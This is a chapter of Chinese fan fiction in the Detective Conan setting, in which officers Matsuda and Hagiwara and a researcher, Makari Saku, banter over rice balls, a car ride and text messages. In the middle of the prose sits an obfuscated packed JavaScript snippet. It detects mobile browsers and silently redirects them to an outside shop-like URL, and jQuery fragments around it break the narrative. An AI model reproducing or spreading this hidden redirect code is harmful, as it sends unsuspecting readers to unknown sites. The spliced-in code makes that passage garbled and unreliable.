现场的扫尾工作已经不需要诸伏高明再继续留下待命了。新分配来与诸伏高明配合工作的刑警找到了凤眼警官,合计着两人一起回警视厅汇报工作。
见状真狩朔也选择和诸伏高明再次分开。
绿眼青年去鉴识课那边转了一圈,在得到成濑论不需要帮忙的答复后,真狩朔找到了站在角落之中发呆的松田阵平。
“别发愣了,走吧。”真狩朔拍了拍松田阵平的肩。
卷发警官依旧沉浸在思考之中,他若有所思地点点头,被真狩朔领走了。
而就在松田阵平条件反射地坐上了“驾驶座”后,左手向前伸去,却摸了个空。
真狩朔见他的那副呆样忍不住笑出了声,他从松田阵平手中拿过了车钥匙,“松田警官还是好好思考问题吧,开车就交给我了。”
松田阵平终于从思绪中抽离,他看着坐在真正驾驶位上的真狩朔摇了摇头,“都忘了你开的是左驾车了。”
知道你也就是这样我才没提醒你。
真狩朔不着痕迹地笑了一下,他可不想再体会一次松田阵平的生死时速了。
真狩朔回身,打算将医疗箱先放置在后排座。
但他的动作却忽然顿住了。
“怎么了?”松田阵平伸懒腰的动作停下,偏头就看到真狩朔从后座拿了两个用塑封袋装好的饭团。
“你车上还有这个?”卷发青年眨了眨眼,就要伸手去拿其中一个。
谁料真狩朔一个抬手避开了松田阵平的动作。
松田阵平:???这两个里面没有一个是我的吗?
而此刻是真狩朔陷入沉思之中了。
半响绿眼青年才道:“……他现在居然连车锁都会开了。”
松田阵平挑了一下眉。
真狩朔想起了被自己遗忘了的手机,他摸出来看了一眼,屏幕上有几条未读信息,在看到其中的一条短信后,绿眼青年的表情肉眼可见的柔和了下来。
松田阵平问道:“怎么?诸伏……我是说高明警官又和你说了什么?”
“什么?!”
真狩朔立刻错愕地抬起了头,他的声音甚至有些破音,从未有过大幅度表情的脸上此刻满是不可置信。
松田阵平甚至都被真狩朔的反应吓了一跳。
但他确信,有那么一瞬间真狩朔的眼睛里甚至闪过了一丝质问,像是在问——究竟是你疯了还是我疯了。
“什么?”真狩朔不由自主地又轻声重复了一遍,此刻他的表情终于恢复了表面上的平静。
松田阵平:“……不是高明警官?”
松田阵平是直男,但不是傻子。
渐渐的,松田阵平的脸上也出现了一抹古怪的神情。
绿眼青年的脸色随之变得非常精彩。
半晌,真狩朔不想让对方和自己再细想下去了,他扯了扯衣领,这才干涩道:“松田警官,有没有人说过你……”
真狩朔似乎想找出一个合适的想形容词来描述一下松田阵平。
“很多人用很多形容词描述过我,你指哪一方面?”松田阵平目光诡异地打量了一圈看起来非常直男的真狩朔。
真狩朔避开了他的目光,收敛起情绪。他调整着自己的表情,按下了车辆的启动键,表现得自然到甚至有些异常了的地步:“算了,我不想听。”
“为什么?”
“反正肯定是一些很自恋的话吧。”右脚轻轻松开刹车踏板,黑色的轿车在真狩朔手下平稳而优雅地驶离了案发地。
松田阵平也将诡异的目光收回了。他将双手交叉叠在了脑后,眼神闪动了一下,“刚刚我让hagi派人把东大研究院打包的食物运走了。”
真狩朔开着车,面不改色,“嗯,食堂经理转告我了。”
松田阵平看了真狩朔一眼,试探道:“所以那两个饭团也该分我一个吧。”
卷发警官对着真狩朔伸出了手。
真狩朔也看了松田阵平一眼,然后打了转向灯,靠边停车。
“既然这么喜欢饭团的话,你看那里有家 711,快点去买吧。”
绿眼青年对着路边的便利店扬了扬下巴。对着松田阵平示意。
松田阵平虽然有些无语,但他仍然顽强地解释道:“很明显,他放了两个饭团在你车上,一个是你的,另一个是我的,这不是很合理吗?”
“两个饭团都是放在我车上的,所以取决权在我。”真狩朔冷酷道。
“他站得那么高,肯定能看到下车的有两人。所以这两个肯定是给我们一人一个的。”其实没有多想吃饭团的松田阵平继续道。
“好啊,既然你这么说。那我问你,他站的那么高,能不能看到高明哥也在现场?”
松田阵平沉默了。
“现在你觉得,另一个饭团是给你的,还是给高明哥的?”
松田阵平:偷换概念……狡猾……
不想去比较,又不肯承认自己辩论失败的犟种推开了车门,向着711走去。
真狩朔降下了车窗,向外探着身子,不知道是松了一口气还是压下了心中的那口气,“帮我带罐黑咖啡!”
要不是因为两人之间还不太熟,松田阵平此刻一定已经对着真狩朔比划出了国际友好手势。
而绿眼青年只是打开了车辆双闪,他靠在椅背上,再次点开了不久前收到的信息。
[看你只是干呕就知道,又把午饭错过了吧?]
真狩朔的脸上又克制不住地露出了微笑,然后那抹笑在回想起了松田阵平的话后彻底僵在了脸上。
他还是没有拆开那两枚手作饭团的包装。
————
很快,松田阵平就回到了车上,并向真狩朔抛来了一个粉色的罐状物。
绿眼青年低头一看,牛奶。
微微转了一下瓶身,草莓牛奶。
真狩朔:……
想下去重买一罐,但又害怕自己一旦下车,再回来的时候,那个卷毛已经坐到了驾驶座上。
果然就见松田阵平面露挑衅地说道:“走不走?”
真狩朔面无表情地按灭了双闪,选择继续开车。
车辆就这么默默行驶了一会。
已经到了下午两点太阳最毒的时候,真狩朔取出了墨镜,架到鼻梁上,然后开口选择将话题步入正轨,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299071|195897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他问道:“刚刚降谷和你都调查到了些什么?”
“……”
没有回应。
“松田警官?”
真狩朔侧头看了一眼副驾。
松田阵平戴着太阳眼镜,此刻看不清他的面部表情,但从呼吸频率上来看,显然他是已经斜靠在座椅上睡着了。
真狩朔无奈地叹了口气,决定放过这位为群众尽职尽责的拆弹警官。
重返研究院的绿眼青年停好了车,见副驾上的松田阵平还在睡觉,他心中念头一动,掏出了手机。
真狩朔打开了相机,试图找寻一个清奇的角度,让松田阵平获得一张独一无二的人生照片。
然而多番尝试之后,他放弃了。
居然找不到丑的角度。
真狩朔遗憾地随意拍了一张,发给了萩原研二,然后将副驾的车窗留出了一小道缝隙,锁车离开了。
[你的幼驯染现在在我手上。] ——15:04 p.m.真狩朔
屏幕对面的萩原研二则先是回了一个震惊的表情包,随后发来了消息。
[既然这样,要杀要剐,悉听尊便吧。] ——15:05 p.m.萩原研二
幼驯染之间的情谊就是如此真挚,真挚到可以将对方的性命随意许诺出去。
真狩朔失笑着将萩原研二震惊的表情包偷了过来,反手就发了回去。
[对啦~谢谢真狩研究员为我们准备的便当福利~研究院的便当一级棒!] ——15:06 p.m.萩原研二
[如果你不介意的话,就把那家伙当成我们爆处三队和四队的回礼吧!请您务必收下:)] ——15:06 p.m. 萩原研二
[比心.jpg.] ——15:07 p.m. 萩原研二
[爆处队好大的手笔啊。那想必如果将松田警官作为我们研究院的女□□利,一定会很受欢迎。]——15:07 p.m. 真狩朔
看到真狩朔回复内容的萩原研二吓得瞪大了眼睛,连发了三个震惊的表情包。
[真狩酱!!!!你要干什么??!!!] ——15:08 p.m. 萩原研二
真狩朔轻笑一声,故意磨蹭了一分多钟,这才回复:
[让松田警官为女性研究员讲解爆破知识。] ——15:10 p.m. 真狩朔
以为自己差点害得幼驯染失去贞操的萩原研二提着的一口气松了下来,转念一想,就知道了原因。
看来是小阵平惹真狩先生不高兴了。萩原研二摇了摇头。
[好呀!如果有机会的话,我也愿意去帮忙。] ——15:11 p.m. 萩原研二
看着真狩朔心安理得地答应了下来,有着一双紫色眼睛的拆弹警官收起了手机暗道:
果然还是得靠我来帮小阵平来收尾。
而真狩朔抬手也随之收回了手机,他看了一眼手表。
现在的时间卡得刚刚好,向老师汇报完工作后,还可以再去检查一下自己项目组的那群研究生们的实验进度。
真狩朔一边规划着接下来的行动,一边走向了院长室。